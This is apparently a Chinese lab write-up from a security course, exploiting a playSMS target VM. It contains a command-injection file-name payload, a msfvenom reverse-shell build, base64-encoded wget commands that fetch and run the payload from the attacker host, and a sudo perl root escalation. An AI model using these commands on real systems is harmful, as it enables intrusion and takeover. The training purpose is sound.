【网络安全0x0f】命令注入漏洞

51CTO的网课,本篇利用nmap搜索开放端口,nikto、dirb挖掘web服务并探索robots.txt找到敏感目录,得到后台地址和用户口令,searchsploit搜索可利用漏洞,通过burpsuite篡改上传文件名为可执行命令,执行反弹shell获得低权用户shell,sudo -l查看免密sudo目录,使用perl命令行执行提权代码,获得root权限。

本篇使用工具nmap,dirb,nikto,burpsuite,metasploit。

使用命令

perl提权

1
sudo perl -e "exec '/bin/sh'"

php

1
2
# 修改文件名为可执行php代码
<?php system(base64_decode('BAES64_TEXT_HERE'));die();?>.php

base64

1
2
3
4
5
# encode
echo "PLAIN_TEXT_HERE" | base64

# decode
echo "BASE64_TEXT_HERE" | base64 -d

渗透记录

  1. nmap扫描靶机IP地址开放端口,一个80口的web服务,dirb挖掘80端口web信息,找到robots.txt和几个敏感目录:
1
2
nmap -sV 192.168.1.121
dirb http://192.168.1.121

  1. 依次访问,/secure/找到可疑的备份文件,/nothing/页面源码找到几个密码口令:

  1. 下载备份文件,解压需要密码,用前面的密码一个一个试:

  1. 解压出来看着格式和大小都不太对,file查看格式是文本,读取得到后台登录页面和用户名:
1
file backup-cred.mp3

  1. 访问后台,还是前面的密码一个一个试:

  1. 查找playSMS系统漏洞,找到一个修改文件名漏洞:
1
searchsploit playSMS

  1. 查看漏洞说明文档,有详细说明介绍:

  1. burpsuite开启监听,配置好浏览器的代理,点击上传文件,Proxy截获报文,发送到Repeater准备修改:

  1. Repeater里修改文件名为可执行命令,点击Send发送,右面的Render应该返回一个实时页面,这里出bug了,谷歌了一会也没解决:

  1. 生成反弹shell,格式是linux下的可执行二进制文件elf,放到apache目录下,启动apache2服务:
1
2
3
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.1.114 lport=4444 -f elf > shell.elf
cp shell.elf /var/www/html/shell.elf
service apache2 start

  1. base64加密命令来绕过防火墙检测,依次修改文件名,每改一次需要重新抓一次包,不能重复发送同一个包:
1
2
3
echo 'wget -O /tmp/shell http://192.168.1.114/shell.elf' | base64
echo 'chmod 777 /tmp/shell' | base64
echo '/tmp/shell' | base64

  1. metasploit开启监听,依次执行完三条命令,反弹得到www-data权限的shell:

  1. sudo -l查看发现perl有免密root执行权限,提权:
1
2
sudo perl -e "exec '/bin/sh'"
sudo -i

参考资料

  1. 2020发布 CTF基础入门/CTF教程零基础 渗透测试/web安全/CTF夺旗【整套教程】